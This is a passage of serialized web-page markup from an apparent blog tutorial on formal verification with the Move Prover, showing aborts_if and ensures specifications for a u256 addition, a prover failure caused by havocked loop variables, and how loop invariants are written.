value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[10511],{"type":21,"tag":66,"props":10512,"children":10513},{"__ignoreMap":7},[10514,10529,10608,10672],{"type":21,"tag":85,"props":10515,"children":10516},{"class":87,"line":88},[10517,10521,10525],{"type":21,"tag":85,"props":10518,"children":10519},{"style":120},[10520],{"type":26,"value":2631},{"type":21,"tag":85,"props":10522,"children":10523},{"style":120},[10524],{"type":26,"value":9994},{"type":21,"tag":85,"props":10526,"children":10527},{"style":114},[10528],{"type":26,"value":148},{"type":21,"tag":85,"props":10530,"children":10531},{"class":87,"line":98},[10532,10536,10540,10544,10548,10552,10556,10560,10564,10568,10572,10576,10580,10584,10588,10592,10596,10600,10604],{"type":21,"tag":85,"props":10533,"children":10534},{"style":120},[10535],{"type":26,"value":10317},{"type":21,"tag":85,"props":10537,"children":10538},{"style":1021},[10539],{"type":26,"value":10118},{"type":21,"tag":85,"props":10541,"children":10542},{"style":114},[10543],{"type":26,"value":1439},{"type":21,"tag":85,"props":10545,"children":10546},{"style":120},[10547],{"type":26,"value":335},{"type":21,"tag":85,"props":10549,"children":10550},{"style":114},[10551],{"type":26,"value":736},{"type":21,"tag":85,"props":10553,"children":10554},{"style":169},[10555],{"type":26,"value":5151},{"type":21,"tag":85,"props":10557,"children":10558},{"style":1021},[10559],{"type":26,"value":10118},{"type":21,"tag":85,"props":10561,"children":10562},{"style":114},[10563],{"type":26,"value":1439},{"type":21,"tag":85,"props":10565,"children":10566},{"style":120},[10567],{"type":26,"value":3994},{"type":21,"tag":85,"props":10569,"children":10570},{"style":114},[10571],{"type":26,"value":736},{"type":21,"tag":85,"props":10573,"children":10574},{"style":169},[10575],{"type":26,"value":10358},{"type":21,"tag":85,"props":10577,"children":10578},{"style":108},[10579],{"type":26,"value":10074},{"type":21,"tag":85,"props":10581,"children":10582},{"style":169},[10583],{"type":26,"value":10231},{"type":21,"tag":85,"props":10585,"children":10586},{"style":108},[10587],{"type":26,"value":10074},{"type":21,"tag":85,"props":10589,"children":10590},{"style":169},[10591],{"type":26,"value":10231},{"type":21,"tag":85,"props":10593,"children":10594},{"style":108},[10595],{"type":26,"value":10074},{"type":21,"tag":85,"props":10597,"children":10598},{"style":169},[10599],{"type":26,"value":10231},{"type":21,"tag":85,"props":10601,"children":10602},{"style":108},[10603],{"type":26,"value":10074},{"type":21,"tag":85,"props":10605,"children":10606},{"style":114},[10607],{"type":26,"value":2535},{"type":21,"tag":85,"props":10609,"children":10610},{"class":87,"line":151},[10611,10616,10620,10624,10628,10632,10636,10640,10644,10648,10652,10656,10660,10664,10668],{"type":21,"tag":85,"props":10612,"children":10613},{"style":120},[10614],{"type":26,"value":10615},"    ensures",{"type":21,"tag":85,"props":10617,"children":10618},{"style":1021},[10619],{"type":26,"value":10118},{"type":21,"tag":85,"props":10621,"children":10622},{"style":114},[10623],{"type":26,"value":1439},{"type":21,"tag":85,"props":10625,"children":10626},{"style":120},[10627],{"type":26,"value":3463},{"type":21,"tag":85,"props":10629,"children":10630},{"style":114},[10631],{"type":26,"value":736},{"type":21,"tag":85,"props":10633,"children":10634},{"style":169},[10635],{"type":26,"value":2936},{"type":21,"tag":85,"props":10637,"children":10638},{"style":1021},[10639],{"type":26,"value":10118},{"type":21,"tag":85,"props":10641,"children":10642},{"style":114},[10643],{"type":26,"value":1439},{"type":21,"tag":85,"props":10645,"children":10646},{"style":120},[10647],{"type":26,"value":335},{"type":21,"tag":85,"props":10649,"children":10650},{"style":114},[10651],{"type":26,"value":736},{"type":21,"tag":85,"props":10653,"children":10654},{"style":169},[10655],{"type":26,"value":5151},{"type":21,"tag":85,"props":10657,"children":10658},{"style":1021},[10659],{"type":26,"value":10118},{"type":21,"tag":85,"props":10661,"children":10662},{"style":114},[10663],{"type":26,"value":1439},{"type":21,"tag":85,"props":10665,"children":10666},{"style":120},[10667],{"type":26,"value":3994},{"type":21,"tag":85,"props":10669,"children":10670},{"style":114},[10671],{"type":26,"value":777},{"type":21,"tag":85,"props":10673,"children":10674},{"class":87,"line":160},[10675],{"type":21,"tag":85,"props":10676,"children":10677},{"style":114},[10678],{"type":26,"value":2671},{"type":21,"tag":22,"props":10680,"children":10681},{},[10682],{"type":26,"value":10683},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":21,"tag":22,"props":10685,"children":10686},{},[10687],{"type":26,"value":10688},"Let's try to prove the library with the specifications from above:",{"type":21,"tag":75,"props":10690,"children":10692},{"code":10691,"language":5011,"meta":7,"className":5012,"style":7},"$ move prove\n",[10693],{"type":21,"tag":66,"props":10694,"children":10695},{"__ignoreMap":7},[10696],{"type":21,"tag":85,"props":10697,"children":10698},{"class":87,"line":88},[10699,10704,10709],{"type":21,"tag":85,"props":10700,"children":10701},{"style":1021},[10702],{"type":26,"value":10703},"$",{"type":21,"tag":85,"props":10705,"children":10706},{"style":5026},[10707],{"type":26,"value":10708}," move",{"type":21,"tag":85,"props":10710,"children":10711},{"style":5026},[10712],{"type":26,"value":10713}," prove\n",{"type":21,"tag":22,"props":10715,"children":10716},{},[10717],{"type":26,"value":10718},"It outputs the following error information:",{"type":21,"tag":75,"props":10720,"children":10722},{"code":10721,"language":5011,"meta":7,"className":5012,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[10723],{"type":21,"tag":66,"props":10724,"children":10725},{"__ignoreMap":7},[10726,10734,10741,10803,10824,10914,10982,10994,11002,11009,11016,11023,11041,11102,11119,11136,11208,11224,11232,11239,11289,11297,11314],{"type":21,"tag":85,"props":10727,"children":10728},{"class":87,"line":88},[10729],{"type":21,"tag":85,"props":10730,"children":10731},{"style":114},[10732],{"type":26,"value":10733},"[...]\n",{"type":21,"tag":85,"props":10735,"children":10736},{"class":87,"line":98},[10737],{"type":21,"tag":85,"props":10738,"children":10739},{"emptyLinePlaceholder":16},[10740],{"type":26,"value":703},{"type":21,"tag":85,"props":10742,"children":10743},{"class":87,"line":151},[10744,10749,10754,10759,10764,10769,10774,10779,10784,10789,10793,10798],{"type":21,"tag":85,"props":10745,"children":10746},{"style":1021},[10747],{"type":26,"value":10748},"error:",{"type":21,"tag":85,"props":10750,"children":10751},{"style":5026},[10752],{"type":26,"value":10753}," abort",{"type":21,"tag":85,"props":10755,"children":10756},{"style":5026},[10757],{"type":26,"value":10758}," not",{"type":21,"tag":85,"props":10760,"children":10761},{"style":5026},[10762],{"type":26,"value":10763}," covered",{"type":21,"tag":85,"props":10765,"children":10766},{"style":5026},[10767],{"type":26,"value":10768}," by",{"type":21,"tag":85,"props":10770,"children":10771},{"style":5026},[10772],{"type":26,"value":10773}," any",{"type":21,"tag":85,"props":10775,"children":10776},{"style":5026},[10777],{"type":26,"value":10778}," of",{"type":21,"tag":85,"props":10780,"children":10781},{"style":5026},[10782],{"type":26,"value":10783}," the",{"type":21,"tag":85,"props":10785,"children":10786},{"style":5026},[10787],{"type":26,"value":10788}," `",{"type":21,"tag":85,"props":10790,"children":10791},{"style":1021},[10792],{"type":26,"value":2682},{"type":21,"tag":85,"props":10794,"children":10795},{"style":5026},[10796],{"type":26,"value":10797},"`",{"type":21,"tag":85,"props":10799,"children":10800},{"style":1021},[10801],{"type":26,"value":10802}," clauses\n",{"type":21,"tag":85,"props":10804,"children":10805},{"class":87,"line":160},[10806,10811,10816,10820],{"type":21,"tag":85,"props":10807,"children":10808},{"style":1021},[10809],{"type":26,"value":10810},"╭",{"type":21,"tag":85,"props":10812,"children":10813},{"style":5026},[10814],{"type":26,"value":10815},"     spec",{"type":21,"tag":85,"props":10817,"children":10818},{"style":5026},[10819],{"type":26,"value":9994},{"type":21,"tag":85,"props":10821,"children":10822},{"style":5026},[10823],{"type":26,"value":148},{"type":21,"tag":85,"props":10825,"children":10826},{"class":87,"line":185},[10827,10832,10837,10841,10845,10849,10853,10857,10861,10865,10869,10873,10878,10882,10886,10890,10894,10898,10902,10906,10910],{"type":21,"tag":85,"props":10828,"children":10829},{"style":169},[10830],{"type":26,"value":10831},"|",{"type":21,"tag":85,"props":10833,"children":10834},{"style":1021},[10835],{"type":26,"value":10836},"         aborts_if",{"type":21,"tag":85,"props":10838,"children":10839},{"style":5026},[10840],{"type":26,"value":10118},{"type":21,"tag":85,"props":10842,"children":10843},{"style":114},[10844],{"type":26,"value":1439},{"type":21,"tag":85,"props":10846,"children":10847},{"style":1021},[10848],{"type":26,"value":335},{"type":21,"tag":85,"props":10850,"children":10851},{"style":114},[10852],{"type":26,"value":736},{"type":21,"tag":85,"props":10854,"children":10855},{"style":5026},[10856],{"type":26,"value":5151},{"type":21,"tag":85,"props":10858,"children":10859},{"style":5026},[10860],{"type":26,"value":10118},{"type":21,"tag":85,"props":10862,"children":10863},{"style":114},[10864],{"type":26,"value":1439},{"type":21,"tag":85,"props":10866,"children":10867},{"style":1021},[10868],{"type":26,"value":3994},{"type":21,"tag":85,"props":10870,"children":10871},{"style":114},[10872],{"type":26,"value":736},{"type":21,"tag":85,"props":10874,"children":10875},{"style":169},[10876],{"type":26,"value":10877},">",{"type":21,"tag":85,"props":10879,"children":10880},{"style":5026},[10881],{"type":26,"value":741},{"type":21,"tag":85,"props":10883,"children":10884},{"style":5026},[10885],{"type":26,"value":10074},{"type":21,"tag":85,"props":10887,"children":10888},{"style":102},[10889],{"type":26,"value":10231},{"type":21,"tag":85,"props":10891,"children":10892},{"style":5026},[10893],{"type":26,"value":10074},{"type":21,"tag":85,"props":10895,"children":10896},{"style":102},[10897],{"type":26,"value":10231},{"type":21,"tag":85,"props":10899,"children":10900},{"style":5026},[10901],{"type":26,"value":10074},{"type":21,"tag":85,"props":10903,"children":10904},{"style":102},[10905],{"type":26,"value":10231},{"type":21,"tag":85,"props":10907,"children":10908},{"style":5026},[10909],{"type":26,"value":10074},{"type":21,"tag":85,"props":10911,"children":10912},{"style":114},[10913],{"type":26,"value":2535},{"type":21,"tag":85,"props":10915,"children":10916},{"class":87,"line":501},[10917,10921,10926,10930,10934,10938,10942,10946,10950,10954,10958,10962,10966,10970,10974,10978],{"type":21,"tag":85,"props":10918,"children":10919},{"style":169},[10920],{"type":26,"value":10831},{"type":21,"tag":85,"props":10922,"children":10923},{"style":1021},[10924],{"type":26,"value":10925},"         ensures",{"type":21,"tag":85,"props":10927,"children":10928},{"style":5026},[10929],{"type":26,"value":10118},{"type":21,"tag":85,"props":10931,"children":10932},{"style":114},[10933],{"type":26,"value":1439},{"type":21,"tag":85,"props":10935,"children":10936},{"style":1021},[10937],{"type":26,"value":3463},{"type":21,"tag":85,"props":10939,"children":10940},{"style":114},[10941],{"type":26,"value":736},{"type":21,"tag":85,"props":10943,"children":10944},{"style":5026},[10945],{"type":26,"value":2936},{"type":21,"tag":85,"props":10947,"children":10948},{"style":5026},[10949],{"type":26,"value":10118},{"type":21,"tag":85,"props":10951,"children":10952},{"style":114},[10953],{"type":26,"value":1439},{"type":21,"tag":85,"props":10955,"children":10956},{"style":1021},[10957],{"type":26,"value":335},{"type":21,"tag":85,"props":10959,"children":10960},{"style":114},[10961],{"type":26,"value":736},{"type":21,"tag":85,"props":10963,"children":10964},{"style":5026},[10965],{"type":26,"value":5151},{"type":21,"tag":85,"props":10967,"children":10968},{"style":5026},[10969],{"type":26,"value":10118},{"type":21,"tag":85,"props":10971,"children":10972},{"style":114},[10973],{"type":26,"value":1439},{"type":21,"tag":85,"props":10975,"children":10976},{"style":1021},[10977],{"type":26,"value":3994},{"type":21,"tag":85,"props":10979,"children":10980},{"style":114},[10981],{"type":26,"value":777},{"type":21,"tag":85,"props":10983,"children":10984},{"class":87,"line":697},[10985,10989],{"type":21,"tag":85,"props":10986,"children":10987},{"style":169},[10988],{"type":26,"value":10831},{"type":21,"tag":85,"props":10990,"children":10991},{"style":114},[10992],{"type":26,"value":10993},"     }\n",{"type":21,"tag":85,"props":10995,"children":10996},{"class":87,"line":706},[10997],{"type":21,"tag":85,"props":10998,"children":10999},{"style":1021},[11000],{"type":26,"value":11001},"╰─────^\n",{"type":21,"tag":85,"props":11003,"children":11004},{"class":87,"line":1100},[11005],{"type":21,"tag":85,"props":11006,"children":11007},{"emptyLinePlaceholder":16},[11008],{"type":26,"value":703},{"type":21,"tag":85,"props":11010,"children":11011},{"class":87,"line":1339},[11012],{"type":21,"tag":85,"props":11013,"children":11014},{"style":114},[11015],{"type":26,"value":10733},{"type":21,"tag":85,"props":11017,"children":11018},{"class":87,"line":1348},[11019],{"type":21,"tag":85,"props":11020,"children":11021},{"emptyLinePlaceholder":16},[11022],{"type":26,"value":703},{"type":21,"tag":85,"props":11024,"children":11025},{"class":87,"line":1386},[11026,11031,11036],{"type":21,"tag":85,"props":11027,"children":11028},{"style":1021},[11029],{"type":26,"value":11030}," at",{"type":21,"tag":85,"props":11032,"children":11033},{"style":5026},[11034],{"type":26,"value":11035}," ./sources/u256.move:316:",{"type":21,"tag":85,"props":11037,"children":11038},{"style":5026},[11039],{"type":26,"value":11040}," add\n",{"type":21,"tag":85,"props":11042,"children":11043},{"class":87,"line":1394},[11044,11049,11054,11059,11063,11068,11072,11077,11082,11087,11092,11097],{"type":21,"tag":85,"props":11045,"children":11046},{"style":1021},[11047],{"type":26,"value":11048}," enter",{"type":21,"tag":85,"props":11050,"children":11051},{"style":5026},[11052],{"type":26,"value":11053}," loop,",{"type":21,"tag":85,"props":11055,"children":11056},{"style":5026},[11057],{"type":26,"value":11058}," variable",{"type":21,"tag":85,"props":11060,"children":11061},{"style":114},[11062],{"type":26,"value":1439},{"type":21,"tag":85,"props":11064,"children":11065},{"style":1021},[11066],{"type":26,"value":11067},"s",{"type":21,"tag":85,"props":11069,"children":11070},{"style":114},[11071],{"type":26,"value":736},{"type":21,"tag":85,"props":11073,"children":11074},{"style":5026},[11075],{"type":26,"value":11076},"carry,",{"type":21,"tag":85,"props":11078,"children":11079},{"style":5026},[11080],{"type":26,"value":11081}," i,",{"type":21,"tag":85,"props":11083,"children":11084},{"style":5026},[11085],{"type":26,"value":11086}," ret",{"type":21,"tag":85,"props":11088,"children":11089},{"style":5026},[11090],{"type":26,"value":11091}," havocked",{"type":21,"tag":85,"props":11093,"children":11094},{"style":5026},[11095],{"type":26,"value":11096}," and",{"type":21,"tag":85,"props":11098,"children":11099},{"style":5026},[11100],{"type":26,"value":11101}," reassigned\n",{"type":21,"tag":85,"props":11103,"children":11104},{"class":87,"line":1402},[11105,11110,11114],{"type":21,"tag":85,"props":11106,"children":11107},{"style":1021},[11108],{"type":26,"value":11109},"     carry",{"type":21,"tag":85,"props":11111,"children":11112},{"style":5026},[11113],{"type":26,"value":1941},{"type":21,"tag":85,"props":11115,"children":11116},{"style":2285},[11117],{"type":26,"value":11118}," 54\n",{"type":21,"tag":85,"props":11120,"children":11121},{"class":87,"line":3145},[11122,11127,11131],{"type":21,"tag":85,"props":11123,"children":11124},{"style":1021},[11125],{"type":26,"value":11126},"     i",{"type":21,"tag":85,"props":11128,"children":11129},{"style":5026},[11130],{"type":26,"value":1941},{"type":21,"tag":85,"props":11132,"children":11133},{"style":2285},[11134],{"type":26,"value":11135}," 3792\n",{"type":21,"tag":85,"props":11137,"children":11138},{"class":87,"line":3246},[11139,11144,11148,11153,11157,11162,11167,11171,11176,11181,11185,11190,11195,11199,11204],{"type":21,"tag":85,"props":11140,"children":11141},{"style":1021},[11142],{"type":26,"value":11143},"     ret",{"type":21,"tag":85,"props":11145,"children":11146},{"style":5026},[11147],{"type":26,"value":1941},{"type":21,"tag":85,"props":11149,"children":11150},{"style":5026},[11151],{"type":26,"value":11152}," u256.U256{v0",{"type":21,"tag":85,"props":11154,"children":11155},{"style":5026},[11156],{"type":26,"value":1941},{"type":21,"tag":85,"props":11158,"children":11159},{"style":5026},[11160],{"type":26,"value":11161}," 26418,",{"type":21,"tag":85,"props":11163,"children":11164},{"style":5026},[11165],{"type":26,"value":11166}," v1",{"type":21,"tag":85,"props":11168,"children":11169},{"style":5026},[11170],{"type":26,"value":1941},{"type":21,"tag":85,"props":11172,"children":11173},{"style":5026},[11174],{"type":26,"value":11175}," 27938,",{"type":21,"tag":85,"props":11177,"children":11178},{"style":5026},[11179],{"type":26,"value":11180}," v2",{"type":21,"tag":85,"props":11182,"children":11183},{"style":5026},[11184],{"type":26,"value":1941},{"type":21,"tag":85,"props":11186,"children":11187},{"style":5026},[11188],{"type":26,"value":11189}," 6900,",{"type":21,"tag":85,"props":11191,"children":11192},{"style":5026},[11193],{"type":26,"value":11194}," v3",{"type":21,"tag":85,"props":11196,"children":11197},{"style":5026},[11198],{"type":26,"value":1941},{"type":21,"tag":85,"props":11200,"children":11201},{"style":2285},[11202],{"type":26,"value":11203}," 1999",{"type":21,"tag":85,"props":11205,"children":11206},{"style":5026},[11207],{"type":26,"value":2671},{"type":21,"tag":85,"props":11209,"children":11210},{"class":87,"line":3255},[11211,11215,11220],{"type":21,"tag":85,"props":11212,"children":11213},{"style":1021},[11214],{"type":26,"value":11030},{"type":21,"tag":85,"props":11216,"children":11217},{"style":5026},[11218],{"type":26,"value":11219}," ./sources/u256.move:346:",{"type":21,"tag":85,"props":11221,"children":11222},{"style":5026},[11223],{"type":26,"value":11040},{"type":21,"tag":85,"props":11225,"children":11226},{"class":87,"line":3286},[11227],{"type":21,"tag":85,"props":11228,"children":11229},{"style":1021},[11230],{"type":26,"value":11231},"     ABORTED\n",{"type":21,"tag":85,"props":11233,"children":11234},{"class":87,"line":3295},[11235],{"type":21,"tag":85,"props":11236,"children":11237},{"emptyLinePlaceholder":16},[11238],{"type":26,"value":703},{"type":21,"tag":85,"props":11240,"children":11241},{"class":87,"line":3308},[11242,11247,11252,11256,11261,11266,11271,11275,11280,11284],{"type":21,"tag":85,"props":11243,"children":11244},{"style":1021},[11245],{"type":26,"value":11246},"FAILURE",{"type":21,"tag":85,"props":11248,"children":11249},{"style":5026},[11250],{"type":26,"value":11251}," proving",{"type":21,"tag":85,"props":11253,"children":11254},{"style":2285},[11255],{"type":26,"value":3279},{"type":21,"tag":85,"props":11257,"children":11258},{"style":5026},[11259],{"type":26,"value":11260}," modules",{"type":21,"tag":85,"props":11262,"children":11263},{"style":5026},[11264],{"type":26,"value":11265}," from",{"type":21,"tag":85,"props":11267,"children":11268},{"style":5026},[11269],{"type":26,"value":11270}," package",{"type":21,"tag":85,"props":11272,"children":11273},{"style":5026},[11274],{"type":26,"value":10788},{"type":21,"tag":85,"props":11276,"children":11277},{"style":1021},[11278],{"type":26,"value":11279},"u256",{"type":21,"tag":85,"props":11281,"children":11282},{"style":5026},[11283],{"type":26,"value":10797},{"type":21,"tag":85,"props":11285,"children":11286},{"style":114},[11287],{"type":26,"value":11288}," in 9.143s\n",{"type":21,"tag":85,"props":11290,"children":11291},{"class":87,"line":3333},[11292],{"type":21,"tag":85,"props":11293,"children":11294},{"style":114},[11295],{"type":26,"value":11296},"{\n",{"type":21,"tag":85,"props":11298,"children":11299},{"class":87,"line":3369},[11300,11305,11309],{"type":21,"tag":85,"props":11301,"children":11302},{"style":1021},[11303],{"type":26,"value":11304},"    \"Error\"",{"type":21,"tag":85,"props":11306,"children":11307},{"style":1021},[11308],{"type":26,"value":172},{"type":21,"tag":85,"props":11310,"children":11311},{"style":5026},[11312],{"type":26,"value":11313}," \"Move Prover failed: exiting with verification errors\"\n",{"type":21,"tag":85,"props":11315,"children":11316},{"class":87,"line":3377},[11317],{"type":21,"tag":85,"props":11318,"children":11319},{"style":114},[11320],{"type":26,"value":2671},{"type":21,"tag":22,"props":11322,"children":11323},{},[11324,11326,11331],{"type":26,"value":11325},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":21,"tag":66,"props":11327,"children":11329},{"className":11328},[],[11330],{"type":26,"value":2682},{"type":26,"value":11332}," clauses. But there is no other abort situation that we have to cover, right?",{"type":21,"tag":22,"props":11334,"children":11335},{},[11336,11338,11344],{"type":26,"value":11337},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":21,"tag":66,"props":11339,"children":11341},{"className":11340},[],[11342],{"type":26,"value":11343},"ret havocked and reassigned",{"type":26,"value":73},{"type":21,"tag":22,"props":11346,"children":11347},{},[11348],{"type":26,"value":11349},"What does this mean?",{"type":21,"tag":22,"props":11351,"children":11352},{},[11353,11355,11362],{"type":26,"value":11354},"By diving into the Move Prover source, we find a ",{"type":21,"tag":335,"props":11356,"children":11359},{"href":11357,"rel":11358},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[339],[11360],{"type":26,"value":11361},"likely suspect",{"type":26,"value":11363},". The prover attempts to prove all loops with induction!",{"type":21,"tag":22,"props":11365,"children":11366},{},[11367],{"type":26,"value":11368},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":21,"tag":841,"props":11370,"children":11371},{},[11372,11377],{"type":21,"tag":845,"props":11373,"children":11374},{},[11375],{"type":26,"value":11376},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":21,"tag":845,"props":11378,"children":11379},{},[11380],{"type":26,"value":11381},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":21,"tag":22,"props":11383,"children":11384},{},[11385,11387,11392,11394,11400,11401,11407,11409,11414,11416,11421],{"type":26,"value":11386},"The loop prover will also ",{"type":21,"tag":873,"props":11388,"children":11389},{},[11390],{"type":26,"value":11391},"havoc, or assign random values to, all variables written to inside the loop",{"type":26,"value":11393},". Going back to the log message, this implies that the variables ",{"type":21,"tag":66,"props":11395,"children":11397},{"className":11396},[],[11398],{"type":26,"value":11399},"carry",{"type":26,"value":256},{"type":21,"tag":66,"props":11402,"children":11404},{"className":11403},[],[11405],{"type":26,"value":11406},"ret",{"type":26,"value":11408}," and ",{"type":21,"tag":66,"props":11410,"children":11412},{"className":11411},[],[11413],{"type":26,"value":3003},{"type":26,"value":11415}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":21,"tag":66,"props":11417,"children":11419},{"className":11418},[],[11420],{"type":26,"value":10052},{"type":26,"value":11422}," makes no sense.",{"type":21,"tag":22,"props":11424,"children":11425},{},[11426],{"type":26,"value":11427},"More concretely, the loop analysis translates into the following steps.",{"type":21,"tag":841,"props":11429,"children":11430},{},[11431,11436,11441,11446,11451,11456],{"type":21,"tag":845,"props":11432,"children":11433},{},[11434],{"type":26,"value":11435},"Assert the loop invariant",{"type":21,"tag":845,"props":11437,"children":11438},{},[11439],{"type":26,"value":11440},"Havoc all modified variables",{"type":21,"tag":845,"props":11442,"children":11443},{},[11444],{"type":26,"value":11445},"Assume the loop invariant",{"type":21,"tag":845,"props":11447,"children":11448},{},[11449],{"type":26,"value":11450},"Assume the loop guard (the code inside the while condition)",{"type":21,"tag":845,"props":11452,"children":11453},{},[11454],{"type":26,"value":11455},"Run the loop body",{"type":21,"tag":845,"props":11457,"children":11458},{},[11459],{"type":26,"value":11435},{"type":21,"tag":22,"props":11461,"children":11462},{},[11463],{"type":26,"value":11464},"There are two approaches to dealing with loops.",{"type":21,"tag":22,"props":11466,"children":11467},{},[11468],{"type":26,"value":11469},"The first would be to specify a loop invariant.",{"type":21,"tag":22,"props":11471,"children":11472},{},[11473,11475,11482],{"type":26,"value":11474},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":21,"tag":335,"props":11476,"children":11479},{"href":11477,"rel":11478},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[339],[11480],{"type":26,"value":11481},"previous post",{"type":26,"value":73},{"type":21,"tag":75,"props":11484,"children":11486},{"code":11485,"language":79,"meta":7,"className":77,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[11487],{"type":21,"tag":66,"props":11488,"children":11489},{"__ignoreMap":7},[11490,11502,11513,11549,11572,11655,11662,11686,11694,11714,11734,11825,11832,11860],{"type":21,"tag":85,"props":11491,"children":11492},{"class":87,"line":88},[11493,11498],{"type":21,"tag":85,"props":11494,"children":11495},{"style":2885},[11496],{"type":26,"value":11497},"  while",{"type":21,"tag":85,"props":11499,"children":11500},{"style":114},[11501],{"type":26,"value":2893},{"type":21,"tag":85,"props":11503,"children":11504},{"class":87,"line":98},[11505,11509],{"type":21,"tag":85,"props":11506,"children":11507},{"style":120},[11508],{"type":26,"value":3301},{"type":21,"tag":85,"props":11510,"children":11511},{"style":114},[11512],{"type":26,"value":148},{"type":21,"tag":85,"props":11514,"children":11515},{"class":87,"line":151},[11516,11521,11525,11529,11533,11537,11541,11545],{"type":21,"tag":85,"props":11517,"children":11518},{"style":120},[11519],{"type":26,"value":11520},"          invariant",{"type":21,"tag":85,"props":11522,"children":11523},{"style":1021},[11524],{"type":26,"value":2918},{"type":21,"tag":85,"props":11526,"children":11527},{"style":114},[11528],{"type":26,"value":1439},{"type":21,"tag":85,"props":11530,"children":11531},{"style":120},[11532],{"type":26,"value":2927},{"type":21,"tag":85,"props":11534,"children":11535},{"style":114},[11536],{"type":26,"value":736},{"type":21,"tag":85,"props":11538,"children":11539},{"style":169},[11540],{"type":26,"value":2936},{"type":21,"tag":85,"props":11542,"children":11543},{"style":120},[11544],{"type":26,"value":2821},{"type":21,"tag":85,"props":11546,"children":11547},{"style":114},[11548],{"type":26,"value":2535},{"type":21,"tag":85,"props":11550,"children":11551},{"class":87,"line":160},[11552,11556,11560,11564,11568],{"type":21,"tag":85,"props":11553,"children":11554},{"style":120},[11555],{"type":26,"value":11520},{"type":21,"tag":85,"props":11557,"children":11558},{"style":120},[11559],{"type":26,"value":2821},{"type":21,"tag":85,"props":11561,"children":11562},{"style":169},[11563],{"type":26,"value":2553},{"type":21,"tag":85,"props":11565,"children":11566},{"style":120},[11567],{"type":26,"value":2846},{"type":21,"tag":85,"props":11569,"children":11570},{"style":114},[11571],{"type":26,"value":2535},{"type":21,"tag":85,"props":11573,"children":11574},{"class":87,"line":185},[11575,11579,11583,11587,11591,11595,11599,11603,11607,11611,11615,11619,11623,11627,11631,11635,11639,11643,11647,11651],{"type":21,"tag":85,"props":11576,"children":11577},{"style":120},[11578],{"type":26,"value":11520},{"type":21,"tag":85,"props":11580,"children":11581},{"style":120},[11582],{"type":26,"value":2979},{"type":21,"tag":85,"props":11584,"children":11585},{"style":120},[11586],{"type":26,"value":2984},{"type":21,"tag":85,"props":11588,"children":11589},{"style":102},[11590],{"type":26,"value":2989},{"type":21,"tag":85,"props":11592,"children":11593},{"style":2285},[11594],{"type":26,"value":2830},{"type":21,"tag":85,"props":11596,"children":11597},{"style":169},[11598],{"type":26,"value":2998},{"type":21,"tag":85,"props":11600,"children":11601},{"style":120},[11602],{"type":26,"value":3003},{"type":21,"tag":85,"props":11604,"children":11605},{"style":169},[11606],{"type":26,"value":172},{"type":21,"tag":85,"props":11608,"children":11609},{"style":120},[11610],{"type":26,"value":2779},{"type":21,"tag":85,"props":11612,"children":11613},{"style":114},[11614],{"type":26,"value":3016},{"type":21,"tag":85,"props":11616,"children":11617},{"style":120},[11618],{"type":26,"value":3021},{"type":21,"tag":85,"props":11620,"children":11621},{"style":114},[11622],{"type":26,"value":3026},{"type":21,"tag":85,"props":11624,"children":11625},{"style":169},[11626],{"type":26,"value":2936},{"type":21,"tag":85,"props":11628,"children":11629},{"style":120},[11630],{"type":26,"value":3035},{"type":21,"tag":85,"props":11632,"children":11633},{"style":114},[11634],{"type":26,"value":3016},{"type":21,"tag":85,"props":11636,"children":11637},{"style":120},[11638],{"type":26,"value":3021},{"type":21,"tag":85,"props":11640,"children":11641},{"style":114},[11642],{"type":26,"value":3026},{"type":21,"tag":85,"props":11644,"children":11645},{"style":169},[11646],{"type":26,"value":3052},{"type":21,"tag":85,"props":11648,"children":11649},{"style":120},[11650],{"type":26,"value":2846},{"type":21,"tag":85,"props":11652,"children":11653},{"style":114},[11654],{"type":26,"value":2535},{"type":21,"tag":85,"props":11656,"children":11657},{"class":87,"line":501},[11658],{"type":21,"tag":85,"props":11659,"children":11660},{"style":114},[11661],{"type":26,"value":3292},{"type":21,"tag":85,"props":11663,"children":11664},{"class":87,"line":697},[11665,11670,11674,11678,11682],{"type":21,"tag":85,"props":11666,"children":11667},{"style":114},[11668],{"type":26,"value":11669},"      (",{"type":21,"tag":85,"props":11671,"children":11672},{"style":120},[11673],{"type":26,"value":3003},{"type":21,"tag":85,"props":11675,"children":11676},{"style":169},[11677],{"type":26,"value":3085},{"type":21,"tag":85,"props":11679,"children":11680},{"style":120},[11681],{"type":26,"value":2846},{"type":21,"tag":85,"props":11683,"children":11684},{"style":114},[11685],{"type":26,"value":2485},{"type":21,"tag":85,"props":11687,"children":11688},{"class":87,"line":706},[11689],{"type":21,"tag":85,"props":11690,"children":11691},{"style":114},[11692],{"type":26,"value":11693},"  }) 